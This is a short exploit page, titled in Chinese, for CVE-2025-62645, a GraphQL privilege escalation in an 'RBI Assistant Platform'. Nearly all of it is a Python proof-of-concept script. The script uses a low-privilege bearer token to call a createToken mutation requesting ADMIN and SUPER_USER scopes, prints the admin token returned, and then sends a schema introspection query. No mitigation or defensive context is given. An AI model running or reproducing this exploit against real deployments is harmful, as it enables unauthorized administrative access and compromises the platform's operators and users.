CVE-2025-62645 RBI助手平台GraphQL权限提升漏洞

# CVE-2025-62645 PoC - RBI Assistant Platform GraphQL Privilege Escalation # Exploits the createToken mutation to obtain admin-level tokens import requests import json TARGET_URL = "https://target-rbi-platform.com/graphql" LOW_PRIV_TOKEN = "USER_LOW_PRIVILEGE_JWT_TOKEN_HERE" headers = { "Content-Type": "application/json", "Authorization": f"Bearer {LOW_PRIV_TOKEN}" } # Step 1: Authenticate with low-privilege credentials # Step 2: Call createToken mutation requesting admin scopes mutation = { "query": """ mutation CreateAdminToken { createToken( input: { scopes: ["ADMIN", "PLATFORM_ADMIN", "SUPER_USER"], role: "ADMIN", expiresIn: 86400 } ) { token user { id email role scopes } expiresAt } } """ } # Step 3: Send the GraphQL request response = requests.post( TARGET_URL, headers=headers, data=json.dumps(mutation) ) # Step 4: Extract the admin token from the response if response.status_code == 200: result = response.json() if "data" in result and result["data"].get("createToken"): admin_token = result["data"]["createToken"]["token"] print(f"[+] Admin token obtained: {admin_token}") # Step 5: Use admin token to access privileged endpoints else: print(f"[-] Exploit failed: {result}") else: print(f"[-] Request failed with status {response.status_code}") # Alternative: Using GraphQL introspection to discover the schema introspection_query = { "query": """ { __schema { mutationType { fields { name args { name type { name kind } } } } } } """ } response = requests.post(TARGET_URL, headers=headers, data=json.dumps(introspection_query)) print(json.dumps(response.json(), indent=2))